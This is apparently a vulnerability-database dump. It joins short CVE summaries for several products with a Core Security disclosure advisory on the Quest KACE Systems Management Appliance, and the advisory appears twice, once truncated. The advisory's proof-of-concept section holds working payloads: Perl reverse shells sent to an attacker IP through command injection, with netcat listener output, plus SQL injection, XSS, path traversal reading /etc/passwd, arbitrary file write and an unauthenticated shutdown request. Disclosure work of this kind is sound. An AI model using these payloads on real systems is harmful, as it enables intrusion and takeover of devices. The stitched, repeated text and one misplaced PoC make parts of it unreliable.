leading to arbitrary file creation/deletion* [CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions. File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not. The following proof of concept demonstrates the vulnerability: /----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="CSRF_TOKEN" 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="IMAGES_JSON" {"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="} -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="FARRAY[ID]" [...SNIPPED...] -----/ Taking advantage of 7.2 and 7.4 we are able to verify the file creation: /----- [root@k10000 /kbox/kboxwww/resources]# ls -lha total 32 drwxr-xr-x 2 www wheel 512B Feb 9 20:40 . drwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite -----/ 8. *Report Timeline* 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published. 9. *References* [1] https://www.quest.com/products/kace-systems-management-appliance/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Java remote method invocation (RMI) input port in GE MDS PulseNET and MDS PulseNET Enterprise version 3.2.1 and prior may be exploited to allow unauthenticated users to launch applications and support remote code execution through web services. GE MDS PulseNET and MDS PulseNET Enterprise Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The interface is not sufficiently protected from low-privileged users. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of GE MDS PulseNET. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of the CommandLineService web service. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code under the context of the current web service. GE MDS PulseNET and MDS PulseNET Enterprise are products of General Electric (GE). GE MDS PulseNET is a suite of network management software designed for radio communication systems. Attackers can exploit these issue to bypass the authentication mechanism, use a specially crafted request with directory-traversal sequences ('../') to access or read arbitrary files that contain sensitive information, or to cause a denial-of-service condition. The following products and versions are vulnerable: PulseNET Version 3.2.1 and prior PulseNET Enterprise Version 3.2.1

Ruckus SmartZone (formerly Virtual SmartCell Gateway or vSCG) 3.5.0, 3.5.1, 3.6.0, and 3.6.1 (Essentials and High Scale) on vSZ, SZ-100, SZ-300, and SCG-200 devices allows remote attackers to obtain sensitive information or modify data. Ruckus SmartZone Contains an information disclosure vulnerability.Information may be obtained and information may be altered. RuckusvSZ and others are wireless LAN controller products from Ruckus Wireless. SmartZone is one of the operating systems. There are security holes in SmartZone on several Ruckus products. The following products and versions are affected: Ruckus SmartZone Version 3.5.0, Version 3.5.1, Version 3.6.0, 3.6.1; vSZ; SZ-100; SZ-300; SCG-200

Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution via the system restore function. Bitmain Antminer D3 , L3+ and S9 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. BitmainAntminerD3, L3+ and S9 are mining equipment used by China Bitmain Technologies to mine bitcoin. There are security holes in BitmainAntminerD3, L3+ and S9. A remote attacker can exploit the vulnerability to execute code with the help of system recovery features

Rondaful M1 Wristband Smart Band 1 devices allow remote attackers to send an arbitrary number of call or SMS notifications via crafted Bluetooth Low Energy (BLE) traffic. Rondaful M1 Wristband Smart Band 1 The device contains an access control vulnerability.Information may be tampered with

A cross-site scripting (XSS) vulnerability in Fortinet FortiAuthenticator in versions 4.0.0 to before 5.3.0 "CSRF validation failure" page allows attacker to execute unauthorized script code via inject malicious scripts in HTTP referer header. Fortinet FortiAuthenticator Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. FortinetFortiAuthenticator is a user identity management device that enhances enterprise security by simplifying and centralizing the management and storage of user identity information. A cross-site scripting vulnerability exists in the \"CSRF Authentication Failed\" page in FortinetFortiAuthenticator prior to 5.3.0. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to FortiAuthenticator 5.3.0 are vulnerable. Fortinet FortiAuthenticator is a series of security authentication software from Fortinet, which can be combined with FortiToken (two-factor authentication token) to provide secure two-factor authentication to third-party devices authenticated by RADIUS or LDAP

On F5 BIG-IP 13.1.0-13.1.0.3, 13.0.0, 12.1.0-12.1.3.3, 11.6.1-11.6.3.1, 11.5.1-11.5.5, or 11.2.1, a malformed TLS handshake causes TMM to crash leading to a disruption of service. This issue is only exposed on the data plane when Proxy SSL configuration is enabled. The control plane is not impacted by this issue. plural F5 BIG-IP The product contains an input validation vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Multiple F5 BIG-IP products are prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause a a denial-of-service condition. F5 BIG-IP LTM, etc. are all products of F5 Company in the United States. F5 BIG-IP LTM is a local traffic manager; BIG-IP AAM is an application acceleration manager. An attacker could exploit this vulnerability by sending specially crafted data to cause a denial of service (TMM crash). The following products and versions are affected: F5 BIG-IP LTM Release 13.1.0, Release 13.0.0, Release 12.1.0 to Release 12.1.3, Release 11.6.1 to Release 11.6.3, Release 11.2.1 to Release 11.5.5 Versions; BIG-IP AAM 13.1.0, 13.0.0, 12.1.0 to 12.1.3, 11.6.1 to 11.6.3, 11.2.1 to 11.5.5; BIG-IP AFM Version 13.1.0, Version 13.0.0, Version 12.1.0 to Version 12.1.3, Version 11.6.1 to Version 11.6.3, Version 11.2.1 to Version 11.5.5; BIG-IP Analytics Version 13.1.0, Version 13.0 .0, 12.1.0 to 12.1.3, 11.6.1 to 11.6.3, 11.2.1 to 11.5.5; BIG-IP APM 13.1.0, 13.0.0, 12.1. 0 to 12.1.3, 11.6.1 to 11.6.3, 11.2.1 to 11.5.5; BIG-IP ASM 13.1.0, 13.0.0, 12.1.0 to 12.1.3 Versions, 11.6.1 to 11.6.3, 11.2.1 to 11.5.5; BIG-IP DNS 13.1.0, 13.0.0, 12.1.0 to 12.1.3, 11.6.1 to 11.6.3, 11.2.1 to 11.5.5; BIG-IP Edge Gateway 13.1.0 to 13.0.0, 12.1.0 to 12.1.3, 11.6.1 to 11.6.3 , version 11.2.1 to version 11.5.5; BIG-IP GTM version 13.1.0, version 13.0.0, version 12.1.0 to 12.1

IPTV integrated intelligent set-top box is a set-top box device produced by Guangdong Telecom. Guangdong Telecom's IP84 Converged Intelligent Set-Top Box Z84 has a logic flaw. Due to the failure of the password modification function, an attacker can use the initial password to log in to the background, resulting in information leakage.

Under certain conditions, on F5 BIG-IP ASM 13.1.0-13.1.0.5, Behavioral DOS (BADOS) protection may fail during an attack. F5 BIG-IP ASM is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition, denying service to legitimate users. BIG-IP ASM 13.1.0 through 13.1.0.5 are vulnerable. F5 BIG-IP ASM (Application Security Manager) is a Web Application Firewall (WAF) of F5 Corporation in the United States. It provides secure remote access, protects emails, simplifies Web access control, and enhances network and application performance. F5 BIG-IP ASM version 13.1.0 to 13.1.0.5 has a security vulnerability, which is caused by the program not running normally with BADoS protection

The '/common/ajax_email_connection_test.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by any authenticated user and can be abused to execute arbitrary commands on the system. This script is vulnerable to command injection via the unsanitized user input 'TEST_SERVER' sent to the script via the POST method. Quest KACE Systems Management Appliance Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. QuestKACESystemManagementAppliance provides comprehensive system management for all network connected devices. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Quest KACE System Management Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Quest KACE System Management Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0004 Advisory URL: http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities Date published: 2018-05-31 Date of last update: 2018-05-22 Vendors contacted: Quest Software Inc. Release mode: Forced release 2. *Vulnerability Information* Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Authorization [CWE-285], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Input During Web Page Generation [CWE-79], External Control of File Name or Path [CWE-73], External Control of File Name or Path [CWE-73] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, CVE-2018-11133, CVE-2018-11137, CVE-2018-11141 3. *Vulnerability Description* >From Quest KACE's website: "The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement." Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user. Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7. Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability. CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk. We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices. 4. *Vulnerable Packages* . Quest KACE System Management Appliance 8.0 (Build 8.0.318) Other products and versions might be affected too, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Quest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at https://support.quest.com/download-install-detail/6086148. For more details, Quest published the following Security Note: https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective. Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user. Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token. In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device. Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11). 7.1. The script receives the following parameters via the GET method: . platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'. As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query. Preparing payload: /----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/ The following proof of concept executes a reverse shell: /----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.2. The following proof of concept executes a reverse shell: /----- POST /common/ajax_email_connection_test.php HTTP/1.1 Host: [ServerIP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 416 Cookie: [Cookie] Connection: close TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.3. To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue. 7.4. *Privilege escalation via password change in Sudo Server* [CVE-2018-11134] In order to perform actions that requires higher privileges, the application relies on a message queue managed that runs with root privileges and only allows a set of commands. One of the available commands allows to change any user's password (including root). Assuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges. 7.5. *Privilege escalation via command injection in Sudo Server* [CVE-2018-11132] As mentioned in the issue [7.4], in order to perform actions that require higher privileges, the application relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed. 7.6. *Insufficient Authorization for critical function* [CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers. The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user: /----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="CSRF_TOKEN" -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="$shutdown" DoIt! Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/ 7.7. *Unauthenticated SQL Injection in download_agent_installer.php* [CVE-2018-11136] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type. The following proof of concept induces a time delay: /----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/ 7.8. *SQL Injection in run_report.php* [CVE-2018-11140] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type. The following proof of concept retrieves the current database name: /----- POST /common/run_report.php HTTP/1.1 Content-Length: 161 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: [ServerIP] Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: [Cookie] date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf -----/ /----- HTTP/1.1 200 OK Date: Thu, 08 Feb 2018 21:50:21 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: [ServerIP] X-KACE-Version: 8.0.318 X-KBOX-WebServer: [ServerIP] X-KBOX-Version: 8.0.318 X-KACE-WebServer: [ServerIP] X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Content-Length: 3548 Connection: close Content-Type: text/html; charset=utf-8 [...SNIPPED...] <script type="text/javascript" src="/common/js/vendor/html5.js?BUILD=318" /></script> <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh' [...SNIPPED...] -----/ 7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* [CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting. The following proof of concept demonstrates the vulnerability: /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ 7.10. *Path traversal in download_attachment.php leading to arbitrary file read* [CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script. It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords. /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ The following proof of concept demonstrates the vulnerability: /----- GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 18 Jan 2018 17:18:19 GMT Server: Apache Cache-Control: must-revalidate, post-check=0, pre-check=0 Expires: -1 Pragma: public Content-Disposition: attachment; filename="" Content-Transfer-Encoding: Binary Content-Description: K1000 attachment Content-Length: 2400 Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: k10000. X-KACE-Version: 8.0.318 X-KBOX-WebServer: k10000. X-KBOX-Version: 8.0.318 X-KACE-WebServer: k10000. X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: close Content-Type: application/octet-stream # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] -----/ 7.11. *Path traversal in advisory.php leading to arbitrary file creation/deletion* [CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions. File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not. The following proof of concept demonstrates the vulnerability: /----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="CSRF_TOKEN" 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="IMAGES_JSON" {"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="} -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="FARRAY[ID]" [...SNIPPED...] -----/ Taking advantage of 7.2 and 7.4 we are able to verify the file creation: /----- [root@k10000 /kbox/kboxwww/resources]# ls -lha total 32 drwxr-xr-x 2 www wheel 512B Feb 9 20:40 . drwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite -----/ 8. *Report Timeline* 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written 